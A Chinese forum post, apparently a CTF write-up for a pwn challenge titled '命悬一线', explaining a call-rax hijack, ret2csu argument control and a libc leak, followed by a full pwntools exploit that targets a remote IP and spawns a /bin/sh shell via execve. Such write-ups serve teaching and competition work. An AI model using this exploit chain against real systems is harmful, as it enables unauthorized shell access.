-
-
[原创] 第九题 命悬一线 writeup
-
2020-12-9 11:54 6512
-
思路
1.过掉反调试
2.程序退出之前会调用call rax,如下代码所示,这是突破点
1 2 3 4 5 6 7 | .text: 000000000040169E 088 48 8B 45 88 mov rax, [rbp + var_78] .text: 00000000004016A2 088 48 8B 00 mov rax, [rax] .text: 00000000004016A5 088 48 83 C0 18 add rax, 18h ; Add .text: 00000000004016A9 088 48 8B 00 mov rax, [rax] .text: 00000000004016AC 088 48 8B 55 88 mov rdx, [rbp + var_78] .text: 00000000004016B0 088 48 89 D7 mov rdi, rdx .text: 00000000004016B3 088 FF D0 call rax |
3.通过观察栈可用发现rax的值可任意覆盖,通过在0x6020C0指定函数地址后实现任意地址调用
4.结合0x40185A 出栈,使当前栈位置移动到我们写入的字符串处
5.结合0x401840 控制参数,至此实现任意函数的调用和三个参数的控制,并可控返回地址
6.由于只有3个参数,无法直接调用0x4017CC进行syscall,所以 a:要么找一个rcx写为0; b: 要么先输出libc地址,然后调用execve
我同事找到了一个xor rcx,rcx ;ret (0x4017E3)很优秀;
下面是另一种思路,先输出libc地址,再调用execve的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #coding:utf8 #!/usr/bin/env python from pwn import * # context.log_level = "debug" local = 0 if local = = 1 : p = process( './pwn1' ) else : p = remote( '121.36.145.157' , 9999 ) # p = remote('127.0.0.1',18005) local = 0 elf = ELF( './pwn1' ) csu_front_addr = 0x401840 # gadget 2. csu_end_addr = 0x40185A # gadget 1, main = 0x400AB6 # local system_offset = 0x45390 __libc_start_main_offset = 0x20740 # remote # 经过测试system_offset和sh_offset无效 # system_offset = 0x4f550 # sh_offset = 0x1b3e1a __libc_start_main_offset = 0x21b10 execve_offset = 0xe4c00 def csu(rbx, rbp, r12, r13, r14, r15, last): payload = '' payload + = p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) return payload def callFunc(funcAddr,arg1,arg2,arg3,retFunc): payload = p64(funcAddr) + p64(csu_end_addr) + '/bin/sh' + struct.pack( 'B' , 0 ) payload + = p64(csu_end_addr) payload + = csu( 0 , 1 , 0x6020C0 , arg3, arg2, arg1, retFunc) payload + = p64(csu_front_addr) payload + = 'a' * 0x38 payload + = p64(retFunc) payload + = 'a' * 8 payload + = p64( 0x6020B0 ) #最后一个指针不能动 p.send(payload) # 获得__libc_start_main地址,并返回main sysCall = 0x4017CC callFunc(sysCall, 1 , 1 , 0x602028 ,main) __libc_start_main = u64(p.recv()[: 8 ]) print ( hex (__libc_start_main)) # getshell libc = __libc_start_main - __libc_start_main_offset sh = 0x6020D0 callFunc(libc + execve_offset ,sh, 0 , 0 ,main) p.interactive() |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
看原图